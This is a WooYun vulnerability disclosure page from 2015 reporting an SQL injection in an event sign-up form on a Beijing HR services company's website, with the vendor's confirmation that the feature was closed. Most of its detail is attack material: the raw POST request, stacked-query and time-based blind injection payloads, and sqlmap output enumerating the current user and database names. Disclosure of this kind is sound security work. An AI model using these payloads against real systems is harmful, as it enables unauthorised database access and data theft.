当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123724

漏洞标题:北京外企人力资源服务有限公司主站SQL注射全站数据库

相关厂商:北京外企人力资源服务有限公司

漏洞作者: 路人甲

提交时间:2015-06-30 18:10

修复时间:2015-08-15 10:12

公开时间:2015-08-15 10:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-30: 细节已通知厂商并且等待厂商处理中
2015-07-01: 厂商已经确认,细节仅向厂商公开
2015-07-11: 细节向核心白帽子及相关领域专家公开
2015-07-21: 细节向普通白帽子公开
2015-07-31: 细节向实习白帽子公开
2015-08-15: 细节向公众公开

简要描述:

time+error

详细说明:

POST /vip/salon/baomingteshu.asp HTTP/1.1
Content-Length: 258
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: www.fesco.com.cn
Cookie: ASPSESSIONIDSQDRRTCT=GKMFKOJAMCJOMOHFGKMMBGAB
Host: www.fesco.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.0 Safari/537.36
Accept: */*
submit=%cc%e1%bd%bb&jxy_company=baidu&jxy_dept=1&jxy_laiyuan=0&jxy_mail=123ad%40qq.com&jxy_mobile=987-65-4329&jxy_name=ghanyabw&jxy_nianxian=1&jxy_no=DQ&jxy_request=1&jxy_tel=555-666-0606&jxy_xingzhi=0&jxy_yewubu=0

漏洞证明:

---
Parameter: jxy_no (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: submit=%cc%e1%bd%bb&jxy_company=baidu&jxy_dept=1&jxy_laiyuan=0&jxy_
mail=123ad@qq.com&jxy_mobile=987-65-4329&jxy_name=ghanyabw&jxy_nianxian=1&jxy_no
=DQ';WAITFOR DELAY '0:0:5'--&jxy_request=1&jxy_tel=555-666-0606&jxy_xingzhi=0&jx
y_yewubu=0
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: submit=%cc%e1%bd%bb&jxy_company=baidu&jxy_dept=1&jxy_laiyuan=0&jxy_
mail=123ad@qq.com&jxy_mobile=987-65-4329&jxy_name=ghanyabw&jxy_nianxian=1&jxy_no
=DQ' AND 2114=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers A
S sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND
'fOHQ'='fOHQ&jxy_request=1&jxy_tel=555-666-0606&jxy_xingzhi=0&jxy_yewubu=0
---
[15:25:50] [INFO] testing Microsoft SQL Server
[15:25:50] [INFO] confirming Microsoft SQL Server
[15:25:50] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[15:25:50] [INFO] fetching current user
[15:25:50] [WARNING] time-based comparison requires larger statistical model, pl
ease wait..............................
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] Y
current user: 'webprojects'
[15:43:24] [INFO] fetching database names
[15:43:24] [INFO] fetching number of databases
[15:43:24] [INFO] retrieved: 11
[15:44:06] [INFO] retrieved: fescoaoyun
[15:57:35] [INFO] retrieved: fescoproje
............
有点慢,不跑了

修复方案:

~~~~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-07-01 10:11

厂商回复:

该报名程序为一过期功能,现已关闭。谢谢关注。

最新状态:

暂无


漏洞评价:

评论